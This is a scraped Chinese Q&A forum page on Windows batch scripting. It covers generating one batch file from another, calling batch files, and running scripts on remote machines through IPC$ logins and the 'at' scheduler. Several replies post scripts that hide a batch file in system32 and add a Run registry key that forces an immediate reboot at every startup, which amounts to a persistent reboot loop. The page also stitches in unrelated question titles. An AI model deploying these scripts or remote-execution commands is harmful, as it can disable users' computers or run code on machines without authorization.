1樓:寶瑞英
首先,很遺憾的告訴你,你的第一個程式是有問題的,問題出在對b.bat
的呼叫上。
直接輸入b.bat的確可以執行b.bat,但是系統執行完b.
bat後就退出了,b.bat後面的del b.bat&exit根本就沒有執行,不信你看看b.
bat被刪掉了嗎?
正確的呼叫方法是:call b.bat。
其次,若用a.bat建立另一個批處理檔案,則可以使用如下批處理:
@echo off
::以下建立第二個批處理:
echo @echo off >a.bat
echo :main>>a.bat
echo cls^&echo.>>a.bat
echo echo 這裡可以寫標題,下面是引用的程式》a.bat
echo echo.>>a.bat
echo set name=小王 小青 小李》a.bat
echo for %%%%i in (%%name%%) do (>>a.bat
echo for /f "tokens=2" %%%%a in ('type list.txt^|find"%%%%i") do echo %%%%i%%%%a>>a.bat
echo )>>a.bat
echo pause>>a.bat
這個批處理我已經在我的機子上除錯過了,如果沒有字面上的理解錯誤的話,我想你的問題應該得到解決了。
2樓:
最好是用一個程式來建立。
如果一定要用批處理來建立批處理,恐怕這個批處理的內容只是顯示和輸出。
我記得輸出內容到另一個檔案用的是
>>檔名 的命令吧
比如 echo @echo off>>aaa.batecho pause >>aaa.bat
因為我的機器不支援dos,所以也不能實際測試了。
怎麼建立一個批處理檔案?
如何用批處理登入遠端計算機上,執行另一個批處理檔案?
3樓:諾諾百科
用net use命令連線ipc$,需要管理員使用者和密碼。
net user \\192.168.1.10/ipc$ "password" /user:administrator;
然後用at命令遠端執行。
at \\192.168.1.10 18:00 "d:\remote.cmd";
18:00表示時間,下午6點.at \\ip 是用來給遠端電腦在指定的時間執行某個任務用的;
at \\ip hh:mm 「程式路徑和引數」;
比方說17:00分,用管理員賬戶admin 密碼:123456連線到192.168.0.1,要讓他執行d盤下的remote.cmd你就可以這樣寫:
at \\192.168.0.1 17:01 "d:\remote.cmd"
這樣,remote.cmd在一分鐘內就會被執行了。
4樓:啊哎失望
dos命令現在事實上已經名存實亡了,我們今天還可以通過bat檔案快速執行大量的dos命令,是因為存在cmd.exe來執行這些命令。cmd來是為了相容以前dos時代的命令才產生的,如果沒有必要建議不要使用,以免造成相容性錯誤。
況且現在已經沒有dos命令可以遠端登入了,因此,不必再使用dos命令執行此類命令。
如果必須使用此類命令執行該動作,應當鍵入以下內容:
(dos命令輸入:)
net user \\%遠端計算機ip%/ipc$ "%對方使用者密碼%" /user:%對方使用者名稱%
at \\%對方使用者名稱% %要自動登入的時間% "d:\remote.cmd"
其中的%中的內容應當自己填寫。此時就可以遠端登入,然後傳輸bat檔案進行執行就可以了。
5樓:
你本地的批處理只能執行到遠端登陸為止,剩下的工作,需要在遠端再建立一個相應的批處理繼續執行。
至於遠端批處理的自動呼叫,根據系統的不同,可能需要修改登入時的執行策略。
6樓:李惠源
這個是不行的,除非被控制的電腦主人點選否則批處理檔案是不會啟動的。
用一個批處理生成另一個批處理,並寫入命令
7樓:匿名使用者
@echo off
echo shutdown -r -t 0 >systemtime.txt
ren systemtime.txt systemtime.bat
ping /n 3 127.0.0.1 >nul
xcopy systemtime.bat c:\windows\system32
attrib +a +h +s +r c:\windows\system32\systemtime.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v systemtime /t reg_sz /d c:\windows\system32\systemtime.bat /f
shutdown -r -t 0
將上面的批處理儲存為add run.bat 即可以實現的要的功能!
感覺可以的話,別忘了給我加分喲…………
8樓:匿名使用者
@echo off
copy systemtime.bat c:\windows\system32\systemtime.bat
attrib c:\windows\system32\systemtime.bat +s +h
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v systemtime /t reg_sz /d c:\windows\system32\systemtime.bat /f
shutdown -r -t 0
再把個檔案命名成「systemtime.bat」 ,這樣可以嗎?只是每次都得把前面的執行完才能重新起動.
別的方法,除非dos命令能自動建立文件,編輯文件,儲存文件才行
9樓:匿名使用者
把 systemtime.bat直接放在隨機啟動裡 不過不要給他時間 不然用shudown -a可以解除
10樓:匿名使用者
@echo off
echo > shutdown -r -t 0 systemtime.bat
copy systemtime.bat c:\windows\system32\systemtime.bat
attrib c:\windows\system32\systemtime.bat +s +h
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v systemtime /t reg_sz /d c:\windows\system32\systemtime.bat /f
11樓:匿名使用者
@echo off
move %0 c:\windows\system32\systemtime.bat
attrib c:\windows\system32\systemtime.bat +s +h
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v systemtime /t reg_sz /d c:\windows\system32\systemtime.bat /f
shutdown -r -t 0
exit
做了一個批處理,想用另一個批處理來執行它,例如這個批處理檔案位置在c:/1.bat
12樓:斬天及
你好,如果你是想用絕對路徑,就這樣寫:
start "" "c:\1.bat"
如果是需要執行完該語句才能繼續執行,需要加一個開關start /wait "" "c:\1.bat"
如果是呼叫,就這樣寫:
call c:\1.bat
如果另一個批處理跟被執行的批處理在同一個目錄,想採用「相對路徑」,則可以這樣寫
start "" "%~dp01.bat"
★如果可行希望點選我答案右上方的「採納」按鈕,您的支援將是我繼續幫助別人的動力,謝謝!★
怎樣讓一個批處理程式在後臺執行啊???
如何用批處理開啟一個程式,關掉後再開啟另一個程式
批處理問題 我想用一個bat檔案建立一個新的bat檔案,並寫入**
13樓:亂世t逃犯
完全可以
這個方法很實用的
需要注意的是,注意特殊符號用轉義
比如echo echo echo 小心 ^>^>2.bat>>1.bat
呵呵 請注意體會
14樓:匿名使用者
可以,就是有些符號啊,以及命令用法要注意一點。
舉個例子:
echo echo 這是個例子》123.batecho pause>>123.bat
123.bat
pause
15樓:匿名使用者
可以,這種用法很常見。
求批處理指令碼
這題真麻煩。echo off for f delims a in se do set a path path set p se 起始日期 結束日期 yyyy mm d yyyy mm dd for f tokens 1 6 delims a in se do set a y1 a,y2 d,m1 1...
批處理建立桌面快捷方式,求高手幫助
請問你是想把一個程式建一個快捷方式在桌面嗎?求批處理執行桌面快捷方式的方法 我用這種方法在我的電腦上測試通過 d 系統 桌面 我的檔案.lnk 注 我的桌面不再c盤。但是同樣的方法在他人電腦上卻不行,系統確實找到了指定的lnk檔案但是他提示選擇開啟方式,據我判斷是系統lnk檔案關聯問題。選中圖示 點...
如何做這個批處理 10,如何建立批處理檔案
具體先進入的命令不知道但試試這個方法。第一步 在該資料夾內 排列圖示 方式選擇 名稱 此時數字的檔名檔案就在一邊去了吧,此時刪除方法也不用說了吧。或者第二步 將下面的字元儲存到一個新建的記事本里。再將此記事本關閉,最後將這個記事本副檔名txt改為bat。del f a q 1 rd s q 1 這個...